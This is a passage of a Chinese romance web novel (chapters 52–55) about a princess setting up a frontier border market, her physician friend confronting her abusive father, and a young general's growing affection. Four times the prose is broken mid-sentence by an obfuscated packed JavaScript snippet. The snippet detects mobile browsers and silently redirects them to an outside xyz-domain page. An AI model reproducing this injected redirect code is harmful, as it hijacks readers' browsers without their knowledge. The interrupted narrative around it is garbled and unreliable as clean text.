就在他护送她回云中郡的路上,荒郊野外,星河漫漫,她一双杏眸弯成了月牙,瞳仁闪着晶亮的光,说话时有些羞涩,说完便走了,还将手中的如意云纹银手炉留给了他。 当时他备受惊吓,惊恐万状,别捏了几日强行将此事抛诸脑后,直到近日不知怎么的,莫名其妙便浮现在脑海中,反复咀嚼。 百里浔舟有些垂头丧气的,素日里总是挺得笔直的脊梁弯了下去,像书堂中发现今日小考而自己一本书都没看的少年郎一样趴在了案几之上,“是我会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209396|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错意了吗?可她之前那般待我……不喜欢我也能这样做吗?她那时莫不是故意哄我呢?” 姚知远恍惚觉得此情此景似曾相识,前几日在郡主的马车外头,世子也是这幅被雨浇了个湿透的死样子。 头疼,帮世子解决私人烦恼,也不知能不能给他多加几辆薪资。 “属下就一句话,重点并不是郡主殿下喜不喜欢你。” “而是世子殿下你的心思,世子若是铁了心地打着和离的主意,何必在意郡主是怎么想的呢?” 没忍住,他还是多了两句。 百里浔舟一愣,沉默了许久。他觉得此刻心头就像是塞了一团乱麻,剪不清理还乱。 真是当局者迷旁观者清,姚知远究竟还是体谅自家世子是个没沾过风月的愣头青,仗打得久了,挪到情情爱爱这种复杂的事情上来,未开窍的心思总是拐不过弯来,遂开口道:“世子不如冷静两天,理清思绪再说。” 待发现自己总是不自觉地想起郡主,总想知道她在做什么,再看见郡主和状元郎那般风采卓越的人走在一处,总也该开窍了吧? 此时云中郡的长街上,郡主的马车终于缓缓驶了出来。 封眠自觉不用再坐素舆,反正出行坐马车,也不用走几步路。 半路上,她接上了等在驿馆的顾春温,与他一同往府衙去借北疆的大舆图。 顾春温本应骑马的,但他面有难色地说不大方便,已遣了下人去套马车。 封眠便猜他怕是路上骑马骑久了,有些难以宣之于口的伤处,便干脆让他上了自己的马车同行,正好路上也可以多聊两句。 顾春温从善如流地上了马车,半点也没有什么不自在,仿佛与封眠相识许久那般,自然地聊开了。 “昨日陆兄带我逛了许久,北疆虽不如盛京繁华,但也别有风味。尤其是郡主那几家铺子,我瞧见来往的百姓们,没有一个不是笑容满面的。搭上一两句话,便要开始称赞郡主。” 他一双笑眼盈盈地望着封眠,如春风拂面,称赞之言到了他口中,丝毫不见谄媚浮夸,字句皆见真心,听得封眠也要有些不好意思了。 她正要说什么,忽听外头一阵忽远忽近的呼唤声:“世子妃殿下……世子妃……殿下……!” 她反应了半秒,才想起来这是在喊自己呢,忙叫停了马车,撩开帘子瞧是谁在追着马车跑。 一个有些眼熟的少年气喘吁吁地追了上来,从窗口递了支团团可爱的花进来,笑出一口白牙。 “谢谢世子妃殿下抓住了那些拐子。我知道金银俗物您都不缺,便摘了一朵北花送您,愿您常岁无忧!” 他说罢便跑开了,封眠有些奇怪,“他谢我做什么?” 流萤八卦兮兮地凑上来,“郡主不知道呢,他叫阿好,他与蔡小田两人……这么说吧,我替您去传话时见过他陪着蔡小田,还不住安慰她呢!” 封眠明白了,他这是谢她帮了他的心上人呢。 不过…… “蔡小田马上要回家乡去了,他们二人……” “蔡小田家中只剩一位年迈的祖母了,阿好与家人都说好了,他打算陪蔡小田一同回去,最好能说服祖母一道来北疆。若是蔡家祖母不同意,他便留下,一起为才加祖母颐养天年。” “真看不出,他倒是有担当。” 封眠不认得他送自己的是什么花,香味却是清新,想了想,便摘下一枚簪子,将那朵花插在了发髻上,展示给流萤和物流看,“好看吗?” 一旁保持安静的顾春温在心下默默道:好看。 53. 第 53 章 府衙内,陆鸣竹早已翘首盼着了。他趁着等待的时间,已经凭郡主的令牌借到了舆图,正喜滋滋地迎向马车,准备邀功,却见顾春温跟着封眠一道下了马车。 他有些怔然,顾兄怎么郡主一起来了? 昨日分明说的是来府衙集合呀? 迎着同窗兼同僚错愕的目光,顾春温十分泰然自若,自然地说出自己等马车时正巧遇着了郡主,便厚颜搭了回车。 “陆兄可是恼我没有同你一起了?” 陆鸣竹忙摆手,这么点小事,哪里至于。 他心思轻,转瞬便忘了,看向封眠,边领路边道:“郡守为郡主备下了一间议事的书房,舆图已送去了。” 除此以外,他还惦记着议事耗心耗力耗时,头次在这陌生的府衙指使起了下人们,备上些茶点果子。 他没敢自己上手,生怕这食物经了他的手,一入口再闹出些腹泻的毛病来。 顾春温也跟着道:“我也对北疆盛产的风物略作了些研究,大体可以分做禁止交易物资、限制交易物资与鼓励交易物资三种。北夷与大雍敌对几十年来,第一次开互市,还需得有个官府定价。” 封眠提裙边走边道:“一会儿坐下来慢慢聊吧。昨天我也问了百里浔舟一些关于北疆三十六部的事,正好待会儿给你们好好说一说,一起参谋参谋。这第一场互市应该选择哪些部族。” 圈定可交易的物资范围比较简单,诸如铁器、兵器等物品定然是明确禁止交易的,其次便是茶砖、药材和盐这些物资,在限制的范围内进行交易。 至于丝绸瓷器等工艺品便是鼓励交易的物品,只是北疆内流通的丝绸和瓷器也不多。 封眠觉得自己作为发起者自然也要积极地参与互市,所以将名下铺子中的物资尽数拨了三分之一出来做互市上的商品,期待能从北夷手中换来更多矫健的战马。 但在互市地点的挑选上,众人一时都有些犯难。 为了让参与互市的北夷部族安心,互市地点自然需得在交攘边地,但边地的百姓几乎都被北夷劫掠过,心中自有短时间内难以消弭的仇恨。 要让他们去跟北夷做生意,怕是非常的不容易。 “北夷三十六部中,有五个部族从未劫掠过边民。这次互市我想可以先从他们入手。”封眠指尖轻点舆图,声音沉静。 仇恨是难以化解的,他们自然不能摁着边民的头,去跟有血海深仇的北夷人做交易。在互市之初,他们绝不能成了那柄背刺向大雍百姓的利刃。 尽管在边民眼中,北夷三十六部可能并没有什么不同,都是面目凶恶的仇人。但封眠相信。只要知晓这些人手中没有沾染过自己同胞的鲜血,百姓们是会愿意迈出第一步的。 至于之后,最朴素的生存之需,总能穿透仇恨的坚冰。 这互市开的不仅仅只是货物往来之路,更是要开一条维系安康,通向和平的路。他们需要做的,不是强行弥合血仇,而是筑起一道坚固的篱墙,将刀兵厮杀的恩怨阻隔在外,只容许物与物的交换存在。 时长日久,边民再看见北夷的骏马时,便不会只有恐惧与仇恨。北夷人捧着中原的热茶,用着中原的草药时,心间也会更向往安定平和的生活。 “除了他们,还有一个部族也很重要。”顾春温轻声道,“北夷苍狼部。” “是那个擅长骑射的轻骑兵部落?我听说他们的族人都来去如风,偶有劫掠的行径,但没伤过人。”陆鸣竹在脑海中翻出关于苍狼部的信息。 顾春温颔首:“苍狼部现在是阿尔纳部竭力拉拢的一个部族。他们族人人数略少,但都非常团结,战力强悍。若能将他们拢住,北夷便少了一大战力。” 封眠知道阿尔纳部,那是北夷目前最强大的部族。永昌十七年,就是阿尔纳部纠结北夷部族的人马杀穿了大雍,逼得昭武帝南下。 在被第一任定北王将其驱逐出北疆后,这么多年来依然持续不懈地试图重新攻入北疆。 阿尔纳部要抢的部族,大雍必然要先将其握在手心才可安心。 整整三日,封眠都清早去府衙,深夜才回王府,王妃很是担心她将自己累坏了,早起备晨羹,深夜送参汤,完全遗忘了另一个连王府都没回的人。 这都三天了,世子到底在等什么消息? 急递铺的士卒跪在地上,壮着胆子抬眼去瞧上座的百里浔舟,再一次道:“这几日属下都睁着眼睛等着呢,确实没有给殿下的信啊。” “一张字条都没有?”百里浔舟黑沉着脸。 “一个字都没有!”士卒急得都破音了,被百里浔舟怒瞪一眼,忙缩回了脖子。 姚知远看不过眼,挥手让人离开,“行了,你先下去吧。” “多谢军师!”士卒如蒙大赦,脚底抹油地溜了。 姚知远瞥一眼兀自冷脸的百里浔舟,压平了瞧好戏的唇角,明知故问道:“殿下这是等着谁传信来呢?” 百里浔舟从鼻腔里发出一声轻哼,不想答话。 “世子不是都派轻衣去瞧过了,郡主这几日都与顾大人和陆大人在忙碌互市的事情。” 思及此,姚知远便忍不住咋舌,轻衣一身轻身功夫惊艳绝伦,听力极佳,往日都是被派去探北夷情报的,如今都被世子殿下派去打听郡主的踪迹了,世子殿下竟还没反应过来自己的心思吗? 他有心想提点两句:“既已知晓郡主的行迹,何必还要等郡主的字条呢?” 那字条上左不过也是将一日的行踪简略带过几句而已。世子哪里是想见字条了,分明是想见人了。 可以前只要他人在军营,字条便日日都有,如今一连三日只言片语都…… 百里浔舟微眯起双眸,自从那位姓顾的状元郎来了北疆,这字条便没有了。 他嚯地起身,姚知远目光追随着他的动作,“世子这是要做什么去?” “在北疆开互市,本世子怎么能不到场?” 百里浔舟气势汹汹推开书房的门,还没开口,便被封眠明显带着喜悦的目光扑了一脸。 “你来啦!我正准备去找你呢!”封眠欢欢喜喜地迎上来。 百里浔舟连日来日渐鼓起的那点莫名地气闷尽数散了,心里打好的质问的腹稿也丢了个干净,乖乖地跟着她到桌前坐下。 “找我做什么?” “我想从疾羽营中借些人。”她专注地望着百里浔舟,将心中所想娓娓道来,“一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214553|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来是为了震慑北夷部族,安定民心,做“巡市官军”,监管集市秩序。二来这准备办互市一事,也需要请人去与那几个部族说上一声。” “我思来想去,也还是疾羽营的将士比较合适。只是不知近日营内人手可方便?” 百里浔舟略一思忖,点了点头,“自然没问题。我给顾大人拨五百精兵,可够了?” 顾春温:“足矣。多谢世子殿下。” “互市地点可定了?”百里浔舟只瞧了他一眼,便又将目光挪到了封眠身上。 她今日妆扮得很是素净,俏生生像枝头新生的小花苞。 “我打算去黑石沟。” 百里浔舟略一扬眉,听她继续说道:“黑石沟恰好处在北夷与大雍的接壤处,又遭了灾害,庄稼十不存一,百姓流散,应是没什么人会反对在设立集市。” “若能增设贸易集市,也能助理当地的民生恢复。流散的百姓便是失了庄稼,也总能借着市集重谋生计。无论是运货、摆摊,还是为商旅提供食宿,总能得一线生机。” “郡主考虑万全,我等都觉得可行。”顾春温跟着附和一句,陆鸣竹连连点头。 “如此也好,那阿央他们岂不是也可以回家了?”百里浔舟想起此刻还住在城外的阿央等人,问道。 “是啊,我正想着去见过你以后,再去城外将此事与他们说了。现下你过来了,倒省了我一桩事。” 封眠说着起身,桌上的其他三人也跟着一并起身,大有同去之意。 百里浔舟瞟一眼对面两人,抢先开口,“我陪你同去,自打他们安置好,我也还没去看过呢。” “顾大人和陆大人就不必相送了,互市的章程还需你们细细写下一份才好,留步吧。” “也是呢,多誊抄几分,回头去联络那几个部族时,一并带去。”一般北夷部族中都会培养人特意学大雍文字,封眠并不担心他们会看不懂。 顾春温和陆鸣竹被一道命令钉在了原地,只能眼睁睁看着百里浔舟将封眠领走。 两人对视一眼,一个笑容不变唯有双目微沉,一个眉眼间聚起一点丧气,动作一致地坐下,磨墨,提笔,写文书。 城外支着一个小摊子,黑石沟的百姓们有条不紊地排着一条长队。 队伍最前头,村长袖口挽起,腕间搭着一只素手,他紧张兮兮地问:“柳大夫,咋样了啊?” 摊字后面,柳寄雪正肃容专注地为他把着脉,闻言眉眼柔和下来,收回了手,提笔写着什么,“没什么大碍了,再喝两幅药巩固一下即可。” 村长登时长长舒了一口气,抬袖擦了擦额间的汗。柳大夫哪里都好,每日不落地来为他们逐一把脉,有病的吃药治病,没病的小心预防,可是十分尽职尽责。 唯有一点不好就是,把脉的时候面相态严肃,瞧得人心里头不住地打鼓。 村长接过柳寄雪写好的药方,道着谢正要去一旁抓药,忽然看向城门方向,轻咦一声,“哎呀,那不是郡主的马车吗?” 柳寄雪立时回头看去,一辆熟悉的马车缓缓驶近,接着跳下来一个再熟悉不过的身影。 “阿雪!” 一见封眠,柳寄雪未语先笑。 54. 第 54 章 “郡主且放心吧,大家身上都只是些寻常的小毛病,偶有风热之症,吃几服药便痊愈了。如今瞧来,并没有疫病的风险。” 柳寄雪将封眠和百里浔舟带到了一间营帐中,跟封眠细细说着这几日的情况。 封眠扫一眼营帐内,陈设简陋,只一架木屏风将床榻和桌案相隔,权做寝间与会客间。角落里一个小小的陶盆种着蒲公英,嫩黄的花朵将灰扑扑的室内点缀出一抹亮色。 前日有几个孩童高烧不退,柳寄雪便请人搭了这间营帐,自己住了下来,一整夜都没有合眼地照顾着。 看她眼底都浮起了淡淡的青黑色,封眠有些心疼地抿了抿唇角,“这几日真是辛苦你了。” 柳寄雪眼底浮起笑意,柔声道:“行医救人,是我心之所向,岂会觉得苦累?” “况且郡主每日都遣人送参汤来,我只是瞧着有些疲累,身子好着呢。” “参汤也就是勉强帮你补一补,还是需要好生歇息。正好最迟三五日,我便带他们回黑石沟去,你可以安心回王府休养几日了。” 柳寄雪好奇:“回黑石沟做什么?” 百里浔舟错愕:“你带他们回去?” 柳寄雪和百里浔舟异口同声地问,侧重点完全不同。 百里浔舟似是被她要一同去黑石沟的消息惊着了,险些跳起来,虽是坐住了,上半身也向前倾着,目光灼灼地等她回答,疑心自己会不会是听错了。 封眠看看这个,瞧瞧那个,先答了柳寄雪的话,将准备去黑石沟开互市的事情简单说了。 “如此也挺好,他们虽然嘴上不说,但我瞧着心中都是想念着故土的。”柳寄雪很是为他们感到高兴,“村长还悄悄地问我云中郡可有卖粮种的,盘算着要备些种子,待来年春耕呢。” 她说罢,没忍住瞧了一眼另一边的百里浔舟,他好似旁的都听不见了一般,又急急地往前探了探身子,等她说完话,迫不及待地开口问道:“你放才说什么?你要一起去黑石沟吗?” 封眠忙点点头,摁着百里浔舟的肩头将他推回去坐好,“我自然是要去的呀。毕竟是第一场互市,百姓们定然多有疑虑,我不到场怎么能行?” “我好歹也是舅舅钦点的负责人,若是躲在后面,让他们去冲锋陷阵,我却不担半点风险,岂不是令人寒心?” “是吧,少将军?” 百里浔舟自知她说的不错。这就如将士们战场征逐一般,他与父亲都习惯于身先士卒。 将不畏死,卒不惜命,方能戮力同心,死战不休。 可是…… “我脱不开身,不能亲自护送你。” 柳寄雪抿平了唇角:啧。 还记得郡主来云中郡之前,她每次去王府,都能瞧见王爷气急败坏地遣人去给百里浔舟传信,催他回府准备去接郡主。他将王爷的一道道催令当耳旁风,继续我行我素不肯回府。 现在郡主人在北疆内,只是去个稍远点的边城,有疾羽营和鸾仪卫护送,又有顾、陆两位大人随行,他倒眼巴巴地想着要护送了。 男人的心思果然是说变就变了。 “黑石沟虽是边城,但也在北疆境内,有你与父亲坐镇,又有疾羽营跟着我呢,定没有危险的,你就放心忙你的事。” 见封眠笑容无半分阴霾,好像要离开云中郡,好几日见不着他也全然无所谓的样子,百里浔舟心下又默默气闷起来,憋了半晌,也没能再说些什么。 封眠派人将村长等人召集起来,将互市的事情宣布了,问他们愿不愿意随她一起回去。 场面先是一静,接着便爆发出难以抑制的欢呼声。 村长颤抖着嘴唇,一迭声地应着:“愿意!我们当然愿意回去!郡主大恩呐!” 云中郡较黑石沟来说,固然安稳繁荣,可终究是背井离乡,睡的是别人的榻,喝的是别人井里的水。黑石沟再破再穷,也是自个儿一砖一瓦垒起来的家。 能回去挣一口饭吃,重整被天灾打破的家园,这份希望比任何事都令人喜悦! “能回家了”这念头像野火般在每个人心中烧起来,惶惑不安的心找到了安定的前路,每一张面孔都变得轻松起来,各自去收整行装。 “郡主,世子殿下,你们先回去吧,我还有几人的脉未把完。” 封眠本想将柳寄雪一道捎回去,柳寄雪却摇头拒绝了,“郡主将要远行,我也不好再住在雪月居,这两日已在请房牙帮我瞧屋子了。” “你身上的银两还够用吗?可要提前给你支些俸银?” 封眠说请她做女医官可不是哄她,正正经经地立了文书、设了薪俸的。 本想说回春堂后头有间小院空着,又想若是吃住都在医馆里,那岂不是没有个放松休息的时候了,便干脆作罢。 “够的,我这些年多少也攒了点体己钱。”柳寄雪温言拒了,租间院子的钱她还是有的,不然哪里来的底气离家呢? 封眠放下心来,正准备扶着百里浔舟的手上马车,忽然瞧见不远处不知何时停了另一辆马车,马车下等着一个略有些眼熟的身影。 柳寄雪顺着目光看过去,脸色登时冷了下来。那人见柳寄雪看见了自己,忙快步上前来,“寄雪,女儿!爹总算见着你了!” 原来是元老爷。 封眠蹙眉,抽回手站到柳寄雪旁边,做回护状,“元老爷慎言,此处哪里有你元府的女儿?” 元老爷嗫嚅着行礼:“草民见过郡主殿下,见过世子殿下。” 他垂手一副老实模样地站着,胡须凌乱,鬓角生着白发,眼下纹路松松垮垮,显然几日未能安眠。 “郡主容禀,寄雪生在元府,长在元府,便是她与我闹脾气,不想认我这个父亲,我也不能不认她这个女儿啊!” 他说着殷切地看向柳寄雪,“寄雪,跟爹回家去吧。那许氏不是个好东西,爹这么多年都被她蒙蔽了!爹回去就休了她为你出气!” “莫要与爹置气了。爹如今瞧着你这风餐露宿的辛苦模样,真是心疼啊!” 这人怎么能厚颜无耻到如此地步?! 封眠当真是开眼了,“当日是你自己签下的义绝文书,从此生死荣辱两不相干,如今这幅模样是想做什么?” “郡主实是误会草民了!当日那些要与寄雪恩断义绝的话,都是我那继夫人许氏说的!不怕郡主笑话,那许氏镇日里就是个河东狮,草民是一时糊涂,才签下那让我悔之不及的字啊!” “你……”封眠正待说些什么,肩上一只手轻柔地压了压,柳寄雪一张俏脸惨白,轻轻对封眠摇了摇头。 封眠一顿,父母纵有千般不是,当着柳寄雪骂她的亲生父亲,好像是有些不大好。 柳寄雪上前一步,挡在了封眠前头。 她方才被元老爷一番话气得呼吸都急促起来,手脚冰冷发麻,待听了封眠的维护之言才渐渐缓了过来。 有些埋在心底许久的话,也是时候应当说出来了。 “母亲在世时,你养许氏做外室,生下一个比阿姐还要大上几岁的儿子。许氏等不及上位,几次三番来府上闹,你没管,坐视两个女人为你争风吃醋,生生将母亲气死了。” “母亲尸骨未寒,你便迫不及待将许氏迎娶进门。他们母子欺辱我与阿姐,克扣我们的吃穿用度,我常常吃不饱饭,是阿姐将自己的口粮省下来喂我。那时候你也没管,坐视他们作践你已故发妻留下的唯二骨血。” “阿姐刚到及笄之年,许氏便迫不及待要将她远嫁,我们那么哭求你,你看着堆了满院子的聘礼,打了阿姐一巴掌,强行把她送上了花轿。阿姐受不了夫家磋磨,写信求救,你没管,还将我也强行关在家中。” “阿姐去世, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16218613|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你连泪都没掉两滴,便与那黑心肝的人家继续把酒言欢,洽谈生意。” 柳寄雪顿了顿,眨去眼中的泪意,轻吐一口气平复情绪,才接着道:“你从没管过阿姐的死活,也没管过我的,何必此时假惺惺?我若再当元家女,对不起母亲,对不起阿姐,更对不起我自己。” “你说是她蒙蔽你,那也是她逼着你打骂我吗?” “你从没将我当女儿,却将错处推到不相干的人身上,仿佛你也是什么受害者一样。” 她一双眼一错不错地盯在元老爷身上,一字一句道:“元善德,你才是那个最该死的人。你走吧,我不想再看见你。” 元老爷在柳寄雪一句句毫不留情的话语中,脸色愈见苍白,却不是伤心愧疚,而是气得手抖,“你怎么敢,你怎么敢这么与生你养你的父亲说话!” “生我的是母亲,养我的是阿姐。你若觉得我欠你什么,便将我院中那些草药拿去卖了吧。应当比你这些年花在我身上的银子还要多上几两。” “你混账!”元老爷气急败坏地抬起手。 封眠忙将柳寄雪拉到身后护着,百里浔舟一把抓住了元老爷半落的手腕,力道之大,让元老爷瞬间痛呼出声,只觉腕骨欲裂,再使不上一分力气。 “没听见吗?柳姑娘说了,不想再看见你。”百里浔舟的声音如寒冰一般,每一个字都淬着冷硬的杀气,“再来骚扰,本世子就让你和你那位宝贝儿子,好好尝尝牢饭的滋味。” “滚。”他猛地撒手一挥,如同拂去什么脏污一般将人甩出去。 元老爷踉跄着连退数步,脸上血色尽褪,只剩下全然的恐惧。他再不敢多看一眼,连滚带爬地转身就逃。 封眠轻抚着柳寄雪颤抖的肩背,“没事了,都过去了。” 当着众人的面,将自己的伤口血淋淋的撕开,对柳寄雪来说无异于公开处刑。可当将多年的委屈尽数倾之于口时,她却感觉周身一轻,浑然放松。 也许早就不该忍着了,压在心底,难受的也只有她一个人而已。 柳寄雪侧首,回了封眠一个浅淡的笑,“我没事,让郡主和世子见笑了。” “谁敢笑你,我便派人套他麻袋!”封眠认真道,她说罢看向一旁的百里浔舟,便瞧见他瞪着自己方才抓住元老爷手腕的那只手,一脸刚才摸到脏东西的嫌弃,想在身上擦一擦,又下不去手。 封眠和柳寄雪都被他这幅样子逗乐了,封眠从袖中拿出手帕,拽过百里浔舟的手替他擦了擦。 “行了,这下干净了。” 百里浔舟看看自己的手心,勾唇笑了一下,然后拿过封眠手里的手帕,“脏了,我帮你洗干净再还你。” 封眠随他去了,转而又与柳寄雪低语了两句,才上了马车。 马车缓缓驶向城内。 百里浔舟屈着一双长腿坐在封眠对面,单手隔着衣襟压在放着手帕的地方,指尖微蜷,心里乱糟糟地打着腹稿,被封眠唤了两声才回过神来。 封眠好奇地瞧他,“你想什么呢?” 喊了半天也不理人。 百里浔舟一直觉得她的眼睛澄澈得像小鹿,又像晶莹剔透的黑葡萄,总是亮晶晶的,专注地望着人时,让人心下忍不住砰砰跳,嘴巴就不听使唤地将心里话说了出来:“你去了黑石沟,也要记得每日给我传字条。” “什么?”封眠愣了一下。 “这三日我在军营,你都没有给我传过字条。”他语气很轻,像是怕自己突然的抱怨惹她不高兴一样,还颇有些“我受了如此天大的委屈,却还是委屈求全”的小心思。 封眠一时词穷。 她之前就觉得百里浔舟像五皇兄养的那只黑毛狼犬,本觉得如此想他不大礼貌,可如今对他那双切切的黑眸,仍是觉得这幅神情,就和那只黑毛狼犬想讨肉骨头吃时的神情,一模一样。 55. 第 55 章 车轮的辘辘声与长街上喧阗的人语交织在一处,浅浅荡过耳边。 封眠歪着头,额角轻轻抵在窗棂冰凉的木框上,带着不知名花香的空气从薄缎缝制的车帘缝隙钻进来,轻轻软软地扑了一脸。 薄缎车帘随着微晃的马车一下下荡起,又落下,视野忽明忽暗。 帘起时,炽亮的日光猛地灌入,街景人影如浸没在清水中的画。帘落时,车厢内蓦地沉入一片幽暗,眼前仿佛还残留着上一瞬的日光,在眼皮上烙下晃动的残影。 封眠的目光落在一个扛着糖葫芦垛子叫卖的货郎身上,他的身影很快消失在窗外,薄帘也在这瞬间落下遮住了视野。 在明灭不定的光影中,封眠混杂的思绪飘到了前几日的马车上,百里浔舟说她三日没有给他传过字条后,目光便一瞬不瞬地裹在她身上。 她莫名地感到一点不自在,避开了他小小的控诉,只点头应下了他前一句的要求,道:“好呀,我会记得写的。” 望着她的那双眼“叮”地一下亮了起来,恰有风拂起车帘,日光将她的脸颊照得热了起来。 她偏过头瞧向长街,下意识地抓住视野中看到的第一个身影,无意义地念了一声:“啊,糖葫芦。” 话题就这么被轻飘飘地转开了。 直到今日准备出城,她才再次将思绪转回,开始思索今日的字条要如何写,才能不被归为敷衍。 封眠正倚着窗棂出神,忽听得一阵清脆急切的马蹄声自后方由远及近,迅捷地追了上来。 紧接着微晃的车厢便缓缓停稳。 封眠正想问发生了何事,便听身旁的车窗框上传来“叩、叩”两声轻响。 那声响克制中还带着一丝急切。 封眠撩开帘子,一张俊秀带笑的脸庞便倏地探至窗边。 百里浔舟的气息还带着纵马疾驰后的微喘,额角渗出细汗,一双眼睛却亮得惊人。 他从怀中掏出什么东西塞了进来,封眠下意识地接到手上。 那是一枚骨雕的哨子,跟上次在百里浔舟手中瞧过的那枚差不多,平整的底部刻着一尾简单的小舟,两侧穿着条簇新的红绳。 “我刚雕好的。”他语速很快,眉眼间带着飞扬的笑意,“你戴在身上,若遇见危险便吹响它,周遭定北军听见了,定会相助。” “尾巴那里是个小印章,你敲在字条上,这样他们瞧见了,就会将字条第一时间送到我手上。” “去吧,一切顺利。” 说罢,他也不等她回应,只冲她展颜一笑,便缩回头去,如来时一般匆匆地走了。 封眠反应过来探头去看时,只能望见他骑在马上的背影,高束的马尾被风恣意卷起,与玄青色的发带交缠着猎猎飞扬,满是潇洒的少年意气。 队首,并辔而立的顾春温与陆鸣竹一同瞧着这一幕。 陆鸣竹面上欣慰之意掺杂着一点说不清道不明的忧伤,“世子殿下看来,终于对郡主有几分上心了。” 往日心里那点担忧,似乎可以放下了。 但怎的觉得更惆怅了呢? 顾春温面上一直挂着副温文尔雅的浅笑,只是握着缰绳的手指不易察觉地收紧了些。他目光掠过将身子缩回车内的封眠,迅速放下的薄帘轻轻荡着。 一瞬心思百转,泛起细微的难以言喻的酸意。 但他随即便将这丝不适按下,唇角弯起一个更为和煦的弧度,轻声感叹道:“世子殿下确是一片赤子之心。若能长久,倒也是好的。” 若不能长久…… 他垂眸,掩去一丝极淡的讥诮与冷意。 车队重又行驶起来。 马车内,流萤帮着封眠将骨哨戴起来,红绳调节到一个能藏在衣领下,又方便拿取的位置。 “想不到世子爷还有这等手艺呢,这哨子叼得还挺漂亮的。” 雾柳眼底亦含着笑意:“最重要的是心意。” 唔,她倒觉得他是变着花样地来提醒自己给他传字条呢,连印信都帮她刻好了。 封眠两指捏着骨哨,细细看尾部刻着的小舟,线条简单质朴,与她送他的香包上所绣的艨艟相比,像那艘艨艟生的幼崽。 怪可爱的。 封眠珍重地将骨哨藏进领口,“帮我备纸笔来。” 接下来这一日都得在路上度过,她得留心记着这一路有什么花啊草啊的,也好在字条上有话可说。 不能再像以前那样干巴巴的,只有一两句行踪汇报,显得好对不起这枚骨哨的诚意啊。 这边封眠一行人正往黑石沟驶去,召集互市商人的消息也已由疾羽营士卒一路传播开去。 封眠希望当她在黑石沟开辟好互市的场所后,一切便能立即踏上正轨。 穹庐般的蓝天下笼着一片连绵的绿野,数顶小小的帐篷点缀其间,仿佛地面隆起的一颗颗小蘑菇。 一道五人骑影向帐篷聚集的地方疾驰而去,一名梳着异族发辫、肩背箭筒的小少年听见马蹄声,扭身细望,大惊失色地丢了手里的弓,拔腿就向营帐跑去。 他一面跑一面肝胆俱裂地嚷着:“大雍!大雍人打进来了!大雍人打进来了!” 数道身影从营帐里走出来,茫然地看着小少年撕心裂肺地狂奔而过,搞不清楚发生了什么。 “哎哟!” 闷头狂奔的小少年被面前营帐内钻出来的人一拳锤在脑袋上。 “嗷嗷地嚷什么呢?” 小少年捂着脑袋抬头,瞧见面前居高临下望着他的人,嗫嚅着唤了声“圣女”。 他口中的“圣女”弥荼一身火红色的利落劲装,微卷的发间打着几缕辫子,鼻梁高挺,茶色眼眸亮而锐利,白玉般的额间束着条深红色抹额,明艳又飒爽。 她不耐烦地又戳了戳小少年的额头,“答话,嚷什么呢?” 小少年这才想起正事,眼眸恐惧地圆睁,呼吸都急促了几分,颤声道:“大雍人打进来啦!” 弥荼一动不动地瞧他,不大信。 “是真的!”小少年急得直跺脚,往来时的方向指了指,“我都瞧见了,五个人,骑着马,都穿着疾羽营的铠甲!” 弥荼秀眉一扬,打了个呼哨,唤来一匹矫健的战马,“来人,随我去探探。” 一声令下,便有数人响应。 策马前,弥荼瞧一眼小少年,用手中马鞭轻柔地敲了敲他的肩,“记住,便是大雍人真的打进来了,也不要像刚才那样大呼小叫,丢了苍狼部的脸。” 小少年脸上一红,讷讷点头。 “驾!” 弥荼策马如离弦之箭一般疾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246901|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲而去,果然在百米外就瞧见了驰来的五名骑兵。 定北王和那位世子就是再自傲,也不会只派区区五名骑兵就妄想打下苍狼部吧? 弥荼心中这般想着,反手自箭囊中取出一支箭,引弓松弦。 箭矢破空而去,又疾又稳地擦着当先一名骑兵的马蹄钉入地面,羽尾轻颤。 “再近一步,休怪箭矢无眼!” 弥荼勒住马缰,用大雍话喊到。 身后数骑排开,卷起的烟尘缓缓沉降。 